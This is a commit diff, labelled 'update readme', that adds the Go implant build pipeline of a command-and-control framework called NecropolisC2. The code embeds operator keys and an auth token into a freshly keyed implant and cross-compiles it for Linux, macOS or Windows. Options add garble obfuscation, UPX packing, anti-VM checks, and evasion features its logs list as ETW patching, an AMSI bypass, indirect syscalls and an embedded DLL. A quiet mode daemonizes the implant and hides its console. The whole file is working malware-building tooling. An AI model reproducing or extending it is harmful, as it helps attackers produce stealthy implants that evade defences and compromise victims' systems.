update readme
This commit is contained in:
@@ -0,0 +1,419 @@
|
||||
// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
|
||||
// cross-compiles via Go or garble, and optionally compresses with UPX.
|
||||
package core
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/rand"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
|
||||
"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
|
||||
)
|
||||
|
||||
// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
|
||||
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
|
||||
type GenerateConfig struct {
|
||||
PubKeyPath string
|
||||
OutputPath string
|
||||
TargetOS string
|
||||
TargetArch string
|
||||
UseUPX bool
|
||||
Obfuscate bool
|
||||
Quiet bool
|
||||
Antivm bool
|
||||
Evasion bool
|
||||
}
|
||||
|
||||
// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
|
||||
func RunGenerate(args []string) error {
|
||||
cfg := GenerateConfig{
|
||||
PubKeyPath: defaultPubKeyPath(),
|
||||
OutputPath: "necropolis-implant",
|
||||
TargetOS: "linux",
|
||||
TargetArch: "amd64",
|
||||
}
|
||||
|
||||
fs := flag.NewFlagSet("generate", flag.ExitOnError)
|
||||
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
|
||||
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
|
||||
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
|
||||
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
|
||||
fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
|
||||
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
|
||||
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
|
||||
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
|
||||
fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
|
||||
fs.Parse(args)
|
||||
|
||||
return BuildImplant(cfg)
|
||||
}
|
||||
|
||||
// BuildImplant reads the operator's public key and box key, generates a fresh implant
|
||||
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
|
||||
// (optionally through garble), optionally strips symbols and compresses with UPX.
|
||||
func BuildImplant(cfg GenerateConfig) error {
|
||||
pubData, err := os.ReadFile(cfg.PubKeyPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
|
||||
}
|
||||
|
||||
necropolisDir := filepath.Dir(cfg.PubKeyPath)
|
||||
boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
|
||||
if len(boxPubData) != 32 {
|
||||
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
|
||||
}
|
||||
authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
|
||||
if err != nil || len(authTokenData) != 32 {
|
||||
return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
|
||||
}
|
||||
|
||||
log.Printf("[+] generating implant keypair...")
|
||||
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate implant key: %w", err)
|
||||
}
|
||||
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal implant private key: %w", err)
|
||||
}
|
||||
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
|
||||
log.Printf("[*] PeerID: %s", implantPeerID.String())
|
||||
|
||||
log.Printf("[+] embedding credentials...")
|
||||
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
|
||||
if err != nil {
|
||||
return fmt.Errorf("prepare build directory: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(buildDir)
|
||||
|
||||
outPath := cfg.OutputPath
|
||||
if !filepath.IsAbs(outPath) {
|
||||
wd, _ := os.Getwd()
|
||||
outPath = filepath.Join(wd, outPath)
|
||||
}
|
||||
if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
|
||||
outPath += ".exe"
|
||||
}
|
||||
|
||||
_, err = ensureGo()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go not available: %w", err)
|
||||
}
|
||||
|
||||
goBin := findGo()
|
||||
|
||||
ldflags := "-s -w -buildid="
|
||||
if cfg.Quiet && cfg.TargetOS == "windows" {
|
||||
ldflags += " -H=windowsgui"
|
||||
}
|
||||
|
||||
var builder string
|
||||
var buildArgs []string
|
||||
buildPath := os.Getenv("PATH")
|
||||
if cfg.Obfuscate {
|
||||
garble, err := ensureGarble(goBin)
|
||||
if err != nil {
|
||||
return fmt.Errorf("garble not available: %w", err)
|
||||
}
|
||||
if _, err := exec.LookPath("git"); err != nil {
|
||||
log.Print("git not found. Attempting to install...")
|
||||
gitBin, err := installGit()
|
||||
if err != nil {
|
||||
return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
|
||||
}
|
||||
gitDir := filepath.Dir(gitBin)
|
||||
if !strings.Contains(buildPath, gitDir) {
|
||||
buildPath = gitDir + string(os.PathListSeparator) + buildPath
|
||||
}
|
||||
}
|
||||
builder = garble
|
||||
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
|
||||
// build from project root so GOGARBLE scopes to our packages.
|
||||
// Temp dir breaks import path resolution needed for obfuscation filtering.
|
||||
wd, _ := os.Getwd()
|
||||
restore := backupStubs(filepath.Join("implant", "core"))
|
||||
defer restore()
|
||||
writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
|
||||
buildDir = wd
|
||||
log.Printf("[+] obfuscation: garble -literals -tiny")
|
||||
} else {
|
||||
builder = goBin
|
||||
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
|
||||
}
|
||||
|
||||
if cfg.Antivm {
|
||||
buildArgs = append(buildArgs, "-tags=antivm")
|
||||
}
|
||||
if cfg.Evasion {
|
||||
buildArgs = append(buildArgs, "-tags=evasion")
|
||||
log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
|
||||
log.Printf("[+] embedding my lillll ahh valak.dll ;)")
|
||||
}
|
||||
buildArgs = append(buildArgs, "./implant/")
|
||||
|
||||
cmd := exec.Command(builder, buildArgs...)
|
||||
goDir := filepath.Dir(goBin)
|
||||
if !strings.Contains(buildPath, goDir) {
|
||||
buildPath = goDir + string(os.PathListSeparator) + buildPath
|
||||
}
|
||||
|
||||
env := []string{
|
||||
"GOOS=" + cfg.TargetOS,
|
||||
"GOARCH=" + cfg.TargetArch,
|
||||
"CGO_ENABLED=0",
|
||||
"PATH=" + buildPath,
|
||||
"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
|
||||
}
|
||||
cmd.Env = append(os.Environ(), env...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Dir = buildDir
|
||||
|
||||
log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("build: %w", err)
|
||||
}
|
||||
if fi, err := os.Stat(outPath); err == nil {
|
||||
log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
|
||||
}
|
||||
|
||||
// strip for Linux/macOS to remove any remaining symbol tables
|
||||
if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
|
||||
stripCmd := exec.Command("strip", "-s", outPath)
|
||||
_ = stripCmd.Run()
|
||||
}
|
||||
|
||||
if cfg.UseUPX {
|
||||
if upxPath, err := exec.LookPath("upx"); err == nil {
|
||||
log.Printf("applying UPX compression...")
|
||||
upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
|
||||
upx.Stdout = os.Stdout
|
||||
upx.Stderr = os.Stderr
|
||||
if err := upx.Run(); err != nil {
|
||||
log.Printf("upx compression skipped: %v", err)
|
||||
}
|
||||
} else {
|
||||
log.Printf("upx not found, skipping compression")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// prepareBuildDir creates a temp directory with the implant source, embedded operator
|
||||
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
|
||||
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
|
||||
dir, err := os.MkdirTemp("", "necropolis-build-*")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp dir: %w", err)
|
||||
}
|
||||
|
||||
pubLiteral := bytesLiteral(pubKeyData)
|
||||
boxPubLiteral := bytesLiteral(boxPubKeyData)
|
||||
privLiteral := bytesLiteral(privKeyData)
|
||||
authLiteral := bytesLiteral(authTokenData)
|
||||
pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = %s
|
||||
`, pubLiteral)
|
||||
boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorBoxPubKey = %s
|
||||
`, boxPubLiteral)
|
||||
keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedImplantPrivKey = %s
|
||||
`, privLiteral)
|
||||
authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedAuthToken = %s
|
||||
`, authLiteral)
|
||||
|
||||
if err := extractEmbeddedSource(dir); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Rename go.mod.txt/go.sum.txt back to real names
|
||||
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
|
||||
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
|
||||
|
||||
coreDir := filepath.Join(dir, "implant", "core")
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
|
||||
}
|
||||
|
||||
if quiet {
|
||||
if err := writeQuietStub(coreDir); err != nil {
|
||||
return "", fmt.Errorf("write quiet stub: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
|
||||
// the process (non-Windows only).
|
||||
func writeQuietStub(coreDir string) error {
|
||||
quietContent := `//go:build !windows
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func init() {
|
||||
if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
|
||||
return
|
||||
}
|
||||
|
||||
f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
attr := &os.ProcAttr{
|
||||
Files: []*os.File{f, f, f},
|
||||
Env: append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
|
||||
Sys: &syscall.SysProcAttr{Setsid: true},
|
||||
}
|
||||
|
||||
proc, err := os.StartProcess(os.Args[0], os.Args, attr)
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
proc.Release()
|
||||
os.Exit(0)
|
||||
}
|
||||
`
|
||||
return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
|
||||
}
|
||||
|
||||
// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
|
||||
func extractEmbeddedSource(dst string) error {
|
||||
gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
|
||||
if err != nil {
|
||||
return fmt.Errorf("gzip reader: %w", err)
|
||||
}
|
||||
defer gz.Close()
|
||||
|
||||
tr := tar.NewReader(gz)
|
||||
for {
|
||||
hdr, err := tr.Next()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("tar next: %w", err)
|
||||
}
|
||||
|
||||
target := filepath.Join(dst, hdr.Name)
|
||||
switch hdr.Typeflag {
|
||||
case tar.TypeDir:
|
||||
if err := os.MkdirAll(target, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
case tar.TypeReg:
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := io.Copy(f, tr); err != nil {
|
||||
f.Close()
|
||||
return err
|
||||
}
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// defaultPubKeyPath returns ~/.necropolis/operator.pub.
|
||||
func defaultPubKeyPath() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "operator.pub"
|
||||
}
|
||||
return filepath.Join(home, ".necropolis", "operator.pub")
|
||||
}
|
||||
|
||||
// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
|
||||
// and searches GOPATH/bin as a fallback.
|
||||
func ensureGarble(goBin string) (string, error) {
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
|
||||
cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
|
||||
cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("install garble: %w", err)
|
||||
}
|
||||
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// go install puts binaries in GOPATH/bin — check each entry
|
||||
gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
|
||||
gopath := strings.TrimSpace(string(gopathOut))
|
||||
if gopath != "" {
|
||||
for _, p := range filepath.SplitList(gopath) {
|
||||
for _, name := range []string{"garble", "garble.exe"} {
|
||||
candidate := filepath.Join(p, "bin", name)
|
||||
if fileExists(candidate) {
|
||||
log.Print("garble installed")
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
|
||||
}
|
||||
|
||||
// fileExists returns true if the path exists on disk.
|
||||
func fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
|
||||
func bytesLiteral(data []byte) string {
|
||||
var parts []string
|
||||
for _, b := range data {
|
||||
parts = append(parts, fmt.Sprintf("%d", b))
|
||||
}
|
||||
return "[]byte{" + strings.Join(parts, ",") + "}"
|
||||
}
|
||||
Reference in New Issue
Block a user